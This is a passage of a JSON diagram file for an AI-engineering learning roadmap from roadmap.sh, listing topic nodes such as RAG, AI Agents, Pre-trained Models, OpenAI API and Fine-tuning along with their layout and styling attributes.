{\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 280,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 280,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 851.8618127280066,\n        \"y\": 553.900748222349\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 280,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9JwWIK0Z2MK8-6EQQJsCO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1011.8618127280065,\n        \"y\": 605.900748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"RAG\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 120,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 120,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 1011.8618127280065,\n        \"y\": 605.900748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 120,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Dc15ayFlzqMF24RqIF_-X\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 851.8618127280066,\n        \"y\": 658.900748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Prompt Engineering\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 280,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 280,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 851.8618127280066,\n        \"y\": 658.900748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 280,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9XCxilAQ7FRet7lHQr1gE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 851.8618127280066,\n        \"y\": 606.400748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"AI Agents\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 156,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 156,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 851.8618127280066,\n        \"y\": 606.400748222349\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 156,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5QdihE1lLpMc3DFrGy46M\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 851.8618127280066,\n        \"y\": 342.90074822234897\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"AI vs AGI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 156,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 156,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 851.8618127280066,\n        \"y\": 342.90074822234897\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 156,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yd1VRnSOeOzXF8fgl7CW4\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 911.3618127280066,\n        \"y\": 717.400748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Common Terminology\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 183,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 911.3618127280066,\n        \"y\": 717.400748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 183,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 808.4971847919508,\n        \"y\": -105.15106699547101\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": 808.4971847919508,\n        \"y\": -105.15106699547101\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 355,\n        \"height\": 143\n      }\n    },\n    {\n      \"id\": \"2zqZkyVgigifcRS1H7F_b\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 821.7005592047509,\n        \"y\": -23.165503577725815\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 821.7005592047509,\n        \"y\": -23.165503577725815\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5Irad96FtU3TkNZRK7x_8\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 610.3795624782034,\n        \"y\": -116.59925177765109\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 101,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 101\n      },\n      \"positionAbsolute\": {\n        \"x\": 610.3795624782034,\n        \"y\": -116.59925177765109\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 101\n      }\n    },\n    {\n      \"id\": \"MJvTQei3yqAMdLf5dACls\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 71.5,\n        \"y\": -44.62166042168667\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Frontend\",\n        \"href\": \"https://roadmap.sh/frontend\",\n        \"color\": \"#000000\",\n        \"backgroundColor\": \"#d1d1d1\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 128,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 128,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 71.5,\n        \"y\": -44.62166042168667\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 128,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9Vh9mUCXrYpTqEZexLW1L\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 203,\n        \"y\": -44.62166042168667\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Backend\",\n        \"href\": \"https://roadmap.sh/backend\",\n        \"color\": \"#000000\",\n        \"backgroundColor\": \"#D1D1D1\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 111,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 111,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 203,\n        \"y\": -44.62166042168667\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 111,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"259d3vMaiFwnLF6ZecFyP\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 317.5,\n        \"y\": -44.62166042168667\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Full-Stack\",\n        \"href\": \"https://roadmap.sh/full-stack\",\n        \"color\": \"#000000\",\n        \"backgroundColor\": \"#D1D1D1\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 123,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 123,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 317.5,\n        \"y\": -44.62166042168667\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 123,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qJVgKe9uBvXc-YPfvX_Y7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 842.3618127280065,\n        \"y\": 79.37833957831333\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Impact on Product Development\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 299,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 299,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 842.3618127280065,\n        \"y\": 79.37833957831333\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"K9EiuFgPBFgeRxY4wxAmb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 842.3618127280065,\n        \"y\": 132.37833957831333\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Roles and Responsiblities\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 299,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 299,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 842.3618127280065,\n        \"y\": 132.37833957831333\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wt_3LocKHpvsnsQdDI7LK\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 452.5,\n        \"y\": 378.40074822234897\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Using Pre-trained Models\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 338,\n      \"height\": 67,\n      \"style\": {\n        \"width\": 338,\n        \"height\": 67\n      },\n      \"positionAbsolute\": {\n        \"x\": 452.5,\n        \"y\": 378.40074822234897\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 338,\n        \"height\": 67\n      }\n    },\n    {\n      \"id\": \"d7fzv_ft12EopsQdmEsel\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 497,\n        \"y\": 510.40074822234897\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Pre-trained Models\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 249,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 497,\n        \"y\": 510.40074822234897\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1Ga6DbOPc6Crz7ilsZMYy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 65.4565453870415,\n        \"y\": 458.40074822234897\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Benefits of Pre-trained Models\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 65.4565453870415,\n        \"y\": 458.40074822234897\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MXqbQGhNM3xpXlMC2ib_6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 65.4565453870415,\n        \"y\": 511.40074822234897\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Limitations and Considerations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 65.4565453870415,\n        \"y\": 511.40074822234897\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ytU145_ip3ePMRKaroV-Z\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 154,\n        \"y\": 791.900748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Popular AI Models\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 157,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 154,\n        \"y\": 791.900748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"2WbVpRLqwi3Oeqk1JPui4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 78.5,\n        \"y\": 623.400748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Open AI Models\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 305,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 305,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 78.5,\n        \"y\": 623.400748222349\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 305,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vvpYkmycH0_W030E-L12f\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 78.5,\n        \"y\": 676.400748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Capabilities / Context Length\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 305,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 305,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 78.5,\n        \"y\": 676.400748222349\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 305,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LbB2PeytxRSuU07Bk0KlJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 78.5,\n        \"y\": 729.400748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Cut-off Dates / Knowledge\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 305,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 305,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 78.5,\n        \"y\": 729.400748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 305,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hy6EyKiNxk1x84J63dhez\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 78.5,\n        \"y\": 832.900748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Anthropic's Claude\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 305,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 305,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 78.5,\n        \"y\": 832.900748222349\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 305,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"oe8E6ZIQWuYvHVbYJHUc1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 78.5,\n        \"y\": 885.900748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Google's Gemini\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 305,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 305,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 78.5,\n        \"y\": 885.900748222349\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 305,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3PQVZbcr4neNMRr6CuNzS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 78.5,\n        \"y\": 938.900748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Azure AI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 114,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 114,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 78.5,\n        \"y\": 938.900748222349\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 114,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OkYO-aSPiuVYuLXHswBCn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 194.47059387846707,\n        \"y\": 938.900748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"AWS Sagemaker\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 190,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 190,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 194.47059387846707,\n        \"y\": 938.900748222349\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 190,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8XjkRqHOdyH-DbXHYiBEt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 78.5,\n        \"y\": 992.8781089665497\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Hugging Face Models\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 305,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 305,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 78.5,\n        \"y\": 992.8781089665497\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 305,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"n-Ud2dXkqIzK37jlKItN4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 79.5,\n        \"y\": 1044.8781089665497\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Mistral AI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 159,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 159,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 79.5,\n        \"y\": 1044.8781089665497\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 159,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"a7qsvoauFe5u953I699ps\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 240.5,\n        \"y\": 1044.8781089665497\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Cohere\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 143,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 143,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 240.5,\n        \"y\": 1044.8781089665497\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 143,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5ShWZl1QUqPwO-NRGN85V\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 65.4565453870415,\n        \"y\": 566.400748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"OpenAI Models\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 65.4565453870415,\n        \"y\": 566.400748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wr2_2ADvySOUZxzEo1Uw1\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 507,\n        \"y\": 707.900748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Open AI Platform\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        },\n        \"oldId\": \"wt_3LocKHpvsnsQdDI7LK\"\n      },\n      \"zIndex\": 999,\n      \"width\": 229,\n      \"height\": 66,\n      \"style\": {\n        \"width\": 229,\n        \"height\": 66\n      },\n      \"positionAbsolute\": {\n        \"x\": 507,\n        \"y\": 707.900748222349\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 66\n      }\n    },\n    {\n      \"id\": \"zdeuA4GbdBl2DwKgiOA4G\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 528,\n        \"y\": 986.900748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"OpenAI API\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"d7fzv_ft12EopsQdmEsel\"\n      },\n      \"zIndex\": 999,\n      \"width\": 187,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 187,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 528,\n        \"y\": 986.900748222349\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 187,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_bPTciEA1GT1JwfXim19z\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 842.3618127280065,\n        \"y\": 795.900748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Chat Completions API\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 299,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 299,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 842.3618127280065,\n        \"y\": 795.900748222349\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9-5DYeOnKJq9XvEMWP45A\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 842.3618127280065,\n        \"y\": 848.900748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Writing Prompts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 299,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 299,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 842.3618127280065,\n        \"y\": 848.900748222349\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nyBgEHvUhwF-NANMwkRJW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 842.3618127280065,\n        \"y\": 1126.900748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Open AI Playground\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 299,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 299,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 842.3618127280065,\n        \"y\": 1126.900748222349\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"15XOFdVp0IC-kLYPXUJWh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 842.3618127280065,\n        \"y\": 1179.900748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Fine-tuning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 299,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 299,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 842.3618127280065,\n        \"y\": 1179.900748222349\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"93tz7xYnToF3AMd_JKkNu\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 920,\n        \"y\": 1070.900748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Managing Tokens\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 152,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 920,\n        \"y\": 1070.900748222349\n      },\n      